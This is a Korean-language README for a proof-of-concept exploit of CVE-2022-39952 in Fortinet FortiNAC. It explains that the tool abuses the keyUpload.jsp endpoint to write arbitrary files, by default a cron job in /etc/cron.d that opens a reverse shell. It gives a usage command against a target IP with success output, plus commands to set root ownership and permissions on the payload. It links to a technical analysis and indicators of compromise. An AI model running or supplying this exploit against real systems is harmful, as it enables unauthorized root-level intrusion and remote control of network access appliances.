CVE-2022-39952

Fortinet FortiNAC에 영향을 미치는 CVE-2022-39952에 대한 POC

이 익스플로잇의 기본 구성은 역방향 셸을 생성하는 크론 작업을 작성합니다. 환경에 맞게 payload 파일을 변경해야 합니다.

기술 분석

취약점의 기술적 근본 원인 분석 및 침해 지표는 블로그에서 확인할 수 있습니다: https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs

요약

이 POC는 keyUpload.jsp 엔드포인트를 악용하여 임의 파일 쓰기를 수행합니다.

사용법

root@kali:~/CVE-2022-39952# python3 CVE-2022-39952.py --target 10.0.40.85 --file payload
[+] Wrote payload to /etc/cron.d/payload
[+] Payload successfully delivered

문제 해결

크론 기반 페이로드를 사용하는 경우, 페이로드 파일에 적절한 권한과 소유자가 있는지 확인하세요:

sudo chown root:root payload

sudo chmod 0644 payload